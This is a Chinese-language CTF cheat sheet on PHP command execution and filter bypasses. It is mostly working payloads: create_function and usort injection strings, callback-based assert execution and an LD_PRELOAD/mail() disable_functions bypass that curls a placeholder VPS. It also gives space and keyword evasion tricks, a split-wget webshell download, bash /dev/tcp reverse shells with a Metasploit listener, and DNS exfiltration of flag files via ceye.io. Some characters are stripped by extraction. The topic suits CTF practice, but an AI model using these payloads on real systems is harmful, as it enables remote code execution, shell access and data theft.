CTF命令執(zhí)行及繞過技巧

${}執(zhí)行代碼
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()

${phpinfo()};

eval('echo 2;');

//?a=phpinfo()?php assert($_POST['a']);?> 

//?a=phpinfo()
?php
$a = 'assert';
$a($_POST['a']);
?>

?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()無法執(zhí)行成功

?php
$a = 'assert';
$a(phpinfo());
?>
//成功執(zhí)行phpinfo()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int $count ]] )

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');

string create_function ( string $args , string $code )

$b = create_function('$name','echo $name;');
//實現(xiàn)
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

$id=$_GET['id'];

$code = 'echo $name. '.'的編號是'.$id.'; ';

$b = create_function('$name',$code);
//實現(xiàn)
function niming($name){
echo $name."編號".$id;
}
$b('sd');

?id=2;}phpinfo();/* 

function niming($name){
echo $name.編號2;
     }phpinfo();/*
}

?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp';

$databases=array('1234′,'4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function(‘$a, $b', $sort_function));

?>

?sort_by=”]);}phpinfo();/*

?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "br/>";
echo "==============================";
echo "br/>";
$f1 = create_function('$a',$str2);
echo "br/>";
echo "==============================";
?>

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map()：返回數(shù)組，是為 array1 每個元素應(yīng)用 callback函數(shù)之后的數(shù)組。 callback 函數(shù)形參的數(shù)量和傳給 array_map() 數(shù)組數(shù)量，兩者必須一樣。

//?a=assertb=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

call_user_func()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一個參數(shù) callback 是被調(diào)用的回調(diào)函數(shù)，其余參數(shù)是回調(diào)函數(shù)的參數(shù)。

mixed call_user_func_array ( callable $callback , array $param_arr )
把第一個參數(shù)作為回調(diào)函數(shù)（callback）調(diào)用，把參數(shù)數(shù)組作（param_arr）為回調(diào)函數(shù)的的參數(shù)傳入。

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array); 

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次將 array 數(shù)組中的每個值傳遞到 callback 函數(shù)。如果 callback 函數(shù)返回 true，則 array 數(shù)組的當(dāng)前值會被包含在返回的結(jié)果數(shù)組中。數(shù)組的鍵名保留不變。 

$array[0] = $_GET['a'];
array_filter($array,'assert');

bool usort ( array $array , callable $value_compare_func )
本函數(shù)將用用戶自定義的比較函數(shù)對一個數(shù)組中的值進行排序。 如果要排序的數(shù)組需要用一種不尋常的標(biāo)準(zhǔn)進行排序，那么應(yīng)該使用此函數(shù)。

?php
// ?1[]=test1[]=phpinfo();2=assert
usort(...$_GET);
?>

// ?1=1+12=phpinfo();
usort($_GET,'asse'.'rt');

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函數(shù)將打開輸出緩沖。當(dāng)輸出緩沖激活后，腳本將不會輸出內(nèi)容（除http標(biāo)頭外），相反需要輸出的內(nèi)容被存儲在內(nèi)部緩沖區(qū)中。

內(nèi)部緩沖區(qū)的內(nèi)容可以用 ob_get_contents() 函數(shù)復(fù)制到一個字符串變量中。 想要輸出存儲在內(nèi)部緩沖區(qū)中的內(nèi)容，可以使用 ob_end_flush() 函數(shù)。另外， 使用 ob_end_clean() 函數(shù)會靜默丟棄掉緩沖區(qū)的內(nèi)容。

?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//輸出www-data

#include stdlib.h>
#include stdio.h>
#include string.h> 
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
} 

?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

${IFS}
$IFS$9
%09

root@kali:~# cattest.txt hello world! root@kali:~# cat${IFS}test.txt hello world! root@kali:~# cat$IFS$9test.txt hello world! root@kali:~#

?php
$cmd = $_GET['cmd'];
system("$cmd");
?>

//http://ip/index.php?cmd=cat%091.txt

root@kali:~# a=l;b=s;$a$b

root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

?php
if(strlen($_GET[1])8){
     echo shell_exec($_GET[1]);
}
?>

1>wget\

1>域名.\

1>com\

1>-O\

1>she\

1>ll.p\

1>p
ls>a
sh a 

ls -t>a

|||;|%{}| |''|.|

%0acat%09
%0Acat$IFS$9
%0acat

/???/?s --help

nc -l -p 8080 -vvv

|bash -i > /dev/tcp/xxxxxI(你的vps的公網(wǎng)ip)/8080 0>1

vps的msf監(jiān)聽：

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

|bash -i > /dev/tcp/xxxxxI(你的vps的公網(wǎng)ip)/8080 0>1

?php
$a = $_GET['id'];
system("$a");
?>

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami` 

ping `whoami`.******.ceye.io 

index.txt
where_is_flag.php

?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因為域名中不允許有空格，但是php代碼中可能會含有空格，所以使用sed命令將php代碼的空格替換為xx

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io